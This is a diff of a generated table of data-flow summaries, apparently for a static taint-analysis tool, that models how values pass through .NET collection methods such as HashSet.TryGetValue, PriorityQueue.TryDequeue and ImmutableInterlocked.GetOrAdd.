System.Collections.Frozen;FrozenSet;TryGetValue;(T,T);Argument[this].Property[System.Collections.Frozen.FrozenSet`1.Items].Element;Argument[1];value;dfc-generated | | System.Collections.Frozen;FrozenSet;get_Items;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Generic;CollectionExtensions;AsReadOnly;(System.Collections.Generic.IList);Argument[0].Element;ReturnValue;taint;df-generated | @@ -6825,7 +6802,7 @@ summary | System.Collections.Generic;CollectionExtensions;AsReadOnly;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue.Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;dfc-generated | | System.Collections.Generic;CollectionExtensions;CopyTo;(System.Collections.Generic.List,System.Span);Argument[0].Element;Argument[1];taint;df-generated | | System.Collections.Generic;CollectionExtensions;GetValueOrDefault;(System.Collections.Generic.IReadOnlyDictionary,TKey,TValue);Argument[2];ReturnValue;value;dfc-generated | -| System.Collections.Generic;CollectionExtensions;Remove;(System.Collections.Generic.IDictionary,TKey,TValue);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Generic;CollectionExtensions;Remove;(System.Collections.Generic.IDictionary,TKey,TValue);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Generic;CollectionExtensions;TryAdd;(System.Collections.Generic.IDictionary,TKey,TValue);Argument[1];Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Collections.Generic;CollectionExtensions;TryAdd;(System.Collections.Generic.IDictionary,TKey,TValue);Argument[2];Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;dfc-generated | | System.Collections.Generic;Comparer;Compare;(System.Object,System.Object);Argument[0];Argument[this];taint;df-generated | @@ -6916,7 +6893,7 @@ summary | System.Collections.Generic;HashSet;HashSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[this];taint;df-generated | | System.Collections.Generic;HashSet;HashSet;(System.Collections.Generic.IEqualityComparer);Argument[0];Argument[this].SyntheticField[System.Collections.Generic.HashSet`1._comparer];value;dfc-generated | | System.Collections.Generic;HashSet;RemoveWhere;(System.Predicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Collections.Generic;HashSet;TryGetValue;(T,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;HashSet;TryGetValue;(T,T);Argument[this];Argument[1];taint;df-generated | | System.Collections.Generic;HashSet;get_Comparer;();Argument[this].SyntheticField[System.Collections.Generic.HashSet`1._comparer];ReturnValue;value;dfc-generated | | System.Collections.Generic;ICollection;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Generic;ICollection;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -6935,7 +6912,8 @@ summary | System.Collections.Generic;ISet;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Generic;KeyValuePair;Create;(TKey,TValue);Argument[0];ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Collections.Generic;KeyValuePair;Create;(TKey,TValue);Argument[1];ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Value];value;dfc-generated | -| System.Collections.Generic;KeyValuePair;Deconstruct;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;KeyValuePair;Deconstruct;(TKey,TValue);Argument[this];Argument[0];taint;df-generated | +| System.Collections.Generic;KeyValuePair;Deconstruct;(TKey,TValue);Argument[this];Argument[1];taint;df-generated | | System.Collections.Generic;KeyValuePair;KeyValuePair;(TKey,TValue);Argument[0];Argument[this].Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections.Generic;KeyValuePair;KeyValuePair;(TKey,TValue);Argument[1];Argument[this].Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Collections.Generic;KeyValuePair;get_Key;();Argument[this];ReturnValue;taint;df-generated | @@ -7097,8 +7075,8 @@ summary | System.Collections.Generic;OrderedDictionary;OrderedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;dfc-generated | | System.Collections.Generic;OrderedDictionary;OrderedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;dfc-generated | | System.Collections.Generic;OrderedDictionary;OrderedDictionary;(System.Int32,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.OrderedDictionary`2._comparer];value;dfc-generated | -| System.Collections.Generic;OrderedDictionary;Remove;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Generic;OrderedDictionary;TryGetValue;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;OrderedDictionary;Remove;(TKey,TValue);Argument[this];Argument[1];taint;df-generated | +| System.Collections.Generic;OrderedDictionary;TryGetValue;(TKey,TValue);Argument[this];Argument[1];taint;df-generated | | System.Collections.Generic;OrderedDictionary;get_Comparer;();Argument[this].SyntheticField[System.Collections.Generic.OrderedDictionary`2._comparer];ReturnValue;value;dfc-generated | | System.Collections.Generic;OrderedDictionary;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Collections.Generic;OrderedDictionary;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | @@ -7129,9 +7107,12 @@ summary | System.Collections.Generic;PriorityQueue;PriorityQueue;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer];value;dfc-generated | | System.Collections.Generic;PriorityQueue;PriorityQueue;(System.Int32,System.Collections.Generic.IComparer);Argument[1];Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer];value;dfc-generated | | System.Collections.Generic;PriorityQueue;Remove;(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[3];taint;df-generated | -| System.Collections.Generic;PriorityQueue;Remove;(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Generic;PriorityQueue;TryDequeue;(TElement,TPriority);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Generic;PriorityQueue;TryPeek;(TElement,TPriority);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Generic;PriorityQueue;Remove;(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer);Argument[this];Argument[1];taint;df-generated | +| System.Collections.Generic;PriorityQueue;Remove;(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer);Argument[this];Argument[2];taint;df-generated | +| System.Collections.Generic;PriorityQueue;TryDequeue;(TElement,TPriority);Argument[this];Argument[0];taint;df-generated | +| System.Collections.Generic;PriorityQueue;TryDequeue;(TElement,TPriority);Argument[this];Argument[1];taint;df-generated | +| System.Collections.Generic;PriorityQueue;TryPeek;(TElement,TPriority);Argument[this];Argument[0];taint;df-generated | +| System.Collections.Generic;PriorityQueue;TryPeek;(TElement,TPriority);Argument[this];Argument[1];taint;df-generated | | System.Collections.Generic;PriorityQueue;get_Comparer;();Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer];ReturnValue;value;dfc-generated | | System.Collections.Generic;Queue+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.Queue`1+Enumerator.Current];ReturnValue;value;df-generated | | System.Collections.Generic;Queue+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.Queue`1+Enumerator.Current];ReturnValue;value;dfc-generated | @@ -7147,8 +7128,8 @@ summary | System.Collections.Generic;Queue;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Generic;Queue;Peek;();Argument[this].Element;ReturnValue;value;manual | | System.Collections.Generic;Queue;Queue;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;value;dfc-generated | -| System.Collections.Generic;Queue;TryDequeue;(T);Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;ReturnValue;value;dfc-generated | -| System.Collections.Generic;Queue;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;ReturnValue;value;dfc-generated | +| System.Collections.Generic;Queue;TryDequeue;(T);Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;Argument[0];value;dfc-generated | +| System.Collections.Generic;Queue;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Generic.Queue`1._array].Element;Argument[0];value;dfc-generated | | System.Collections.Generic;Queue;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Generic;ReferenceEqualityComparer;GetHashCode;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;SortedDictionary+Enumerator;get_Current;();Argument[this].Property[System.Collections.Generic.SortedDictionary`2+Enumerator.Current].Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Key];value;df-generated | @@ -7240,7 +7221,7 @@ summary | System.Collections.Generic;SortedList;SortedList;(System.Collections.Generic.IDictionary);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | | System.Collections.Generic;SortedList;SortedList;(System.Collections.Generic.IDictionary,System.Collections.Generic.IComparer);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections.Generic;SortedList;SortedList;(System.Collections.Generic.IDictionary,System.Collections.Generic.IComparer);Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | -| System.Collections.Generic;SortedList;TryGetValue;(TKey,TValue);Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.values].Element;ReturnValue;value;dfc-generated | +| System.Collections.Generic;SortedList;TryGetValue;(TKey,TValue);Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.values].Element;Argument[1];value;dfc-generated | | System.Collections.Generic;SortedList;get_Comparer;();Argument[this].SyntheticField[System.Collections.Generic.SortedList`2.comparer];ReturnValue;value;dfc-generated | | System.Collections.Generic;SortedList;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Generic;SortedList;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | @@ -7275,7 +7256,7 @@ summary | System.Collections.Generic;SortedSet;SortedSet;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;SortedSet;SymmetricExceptWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | | System.Collections.Generic;SortedSet;SymmetricExceptWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];value;dfc-generated | -| System.Collections.Generic;SortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];ReturnValue;value;dfc-generated | +| System.Collections.Generic;SortedSet;TryGetValue;(T,T);Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];Argument[1];value;dfc-generated | | System.Collections.Generic;SortedSet;UnionWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | | System.Collections.Generic;SortedSet;UnionWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];value;dfc-generated | | System.Collections.Generic;SortedSet;UnionWith;(System.Collections.Generic.IEnumerable);Argument[this].Element;Argument[this].SyntheticField[System.Collections.Generic.SortedSet`1.root].SyntheticField[System.Collections.Generic.SortedSet`1+Node.Item];value;dfc-generated | @@ -7298,8 +7279,8 @@ summary | System.Collections.Generic;Stack;Push;(T);Argument[0];Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;value;dfc-generated | | System.Collections.Generic;Stack;Stack;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;value;dfc-generated | | System.Collections.Generic;Stack;ToArray;();Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;ReturnValue.Element;value;dfc-generated | -| System.Collections.Generic;Stack;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;ReturnValue;value;dfc-generated | -| System.Collections.Generic;Stack;TryPop;(T);Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;ReturnValue;value;dfc-generated | +| System.Collections.Generic;Stack;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;Argument[0];value;dfc-generated | +| System.Collections.Generic;Stack;TryPop;(T);Argument[this].SyntheticField[System.Collections.Generic.Stack`1._array].Element;Argument[0];value;dfc-generated | | System.Collections.Generic;Stack;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;IImmutableDictionary;AddRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;IImmutableDictionary;Clear;();Argument[this].WithoutElement;ReturnValue;value;manual | @@ -7554,8 +7535,7 @@ summary | System.Collections.Immutable;ImmutableDictionary+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableDictionary+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableDictionary+Builder;GetValueOrDefault;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableDictionary+Builder;TryGetKey;(TKey,TKey);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableDictionary+Builder;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary+Builder;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary+Builder;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableDictionary+Builder;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableDictionary+Builder;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | @@ -7590,8 +7570,7 @@ summary | System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;TryGetKey;(TKey,TKey);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableDictionary;TryGetValue;(TKey,TValue);Argument[1];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer];value;dfc-generated | @@ -7624,7 +7603,7 @@ summary | System.Collections.Immutable;ImmutableHashSet+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet+Builder;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet+Builder;SymmetricExceptWith;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this];taint;df-generated | -| System.Collections.Immutable;ImmutableHashSet+Builder;TryGetValue;(T,T);Argument[0];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet+Builder;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet+Enumerator;get_Current;();Argument[this].Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet+Enumerator;get_Current;();Argument[this].Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | @@ -7642,13 +7621,11 @@ summary | System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableHashSet;TryGetValue;(T,T);Argument[0];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;WithComparer;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;get_KeyComparer;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[1];Argument[2].Parameter[0];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[1];Argument[2].Parameter[0];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[1];Argument[3].Parameter[0];value;dfc-generated | @@ -7661,8 +7638,6 @@ summary | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[3].ReturnValue;ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[1];Argument[3].Parameter[0];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[1];Argument[3].Parameter[0];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[2];ReturnValue;value;dfc-generated | @@ -7671,9 +7646,6 @@ summary | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[3].ReturnValue;ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;AddOrUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Enqueue;(System.Collections.Immutable.ImmutableQueue,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[1];Argument[2].Parameter[0];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[1];Argument[2].Parameter[0];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[2].ReturnValue;ReturnValue;value;dfc-generated | @@ -7682,45 +7654,22 @@ summary | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[3];Argument[2].Parameter[1];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,TArg);Argument[3];Argument[2].Parameter[1];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[1];Argument[2].Parameter[0];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[1];Argument[2].Parameter[0];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[2].ReturnValue;ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[2].ReturnValue;ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[2];Argument[2].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[0];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;GetOrAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[2];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;InterlockedCompareExchange;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;InterlockedExchange;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;InterlockedInitialize;(System.Collections.Immutable.ImmutableArray,System.Collections.Immutable.ImmutableArray);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Push;(System.Collections.Immutable.ImmutableStack,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryAdd;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryDequeue;(System.Collections.Immutable.ImmutableQueue,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryPop;(System.Collections.Immutable.ImmutableStack,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryRemove;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryRemove;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue);Argument[2];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;TryUpdate;(System.Collections.Immutable.ImmutableDictionary,TKey,TValue,TValue);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[2];Argument[1].Parameter[1];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(System.Collections.Immutable.ImmutableArray,System.Func,TArg,System.Collections.Immutable.ImmutableArray>,TArg);Argument[2];Argument[1].Parameter[1];value;hq-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[0];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[0];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[2];Argument[1].Parameter[1];value;dfc-generated | | System.Collections.Immutable;ImmutableInterlocked;Update;(T,System.Func,TArg);Argument[2];Argument[1].Parameter[1];value;hq-generated | -| 